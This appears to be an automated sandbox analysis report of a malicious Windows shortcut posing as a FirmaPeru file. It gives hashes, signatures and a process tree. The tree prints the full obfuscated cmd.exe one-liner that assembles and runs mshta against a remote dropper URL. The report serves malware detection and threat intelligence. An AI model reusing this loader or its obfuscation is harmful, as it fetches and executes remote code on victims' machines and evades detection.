Analysis

  • max time kernel
    40s
  • max time network
    23s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 20:11

General

  • Target
    FirmaPeru-JFAZZ2.lnk
  • Size 2KB
  • Sample260803-yx9wesar4y
  • SHA256 539dcf51e9d131cf527624fe3875b5f075b8c68c187926779803f5452c21c97d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-JFAZZ2.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4304
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set WC=netmktqhyehnqnet&&set CH=sysgvrqtesys&&set ajPO=spmmjx&&set aQ=2tshs&&set YHr=es8taqjs&&set fZK=tmpesmetmp&&set ig=dbgdnmiaxehdbg&&set FBh=cfgcqdjcfg&&set Er=idvsgve&&set VbVh=9tartm&&set YJse=wingedovtzmguriebsteaawin&&set Eji=tmpyudjdmkmqtmp&&set AkxmT=tmptctbtmp&&set mxPt=winjvuhneztzsqwqratepwin&&set dIZ=bakctjqdhebak&&set wiBbW=h@t@tps@://m-@firma.@lat@/@h@/e@sta@gio1.@php?@r=2@61A@6@CF546@82&&start /b !ajPO:~2,1!!aQ:~2,2!!YHr:~3,2! !wiBbW:@=!&&set fPu=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2368
      • C:\Windows\System32\mshta.exe
        mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
        3⤵
          PID:5748

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads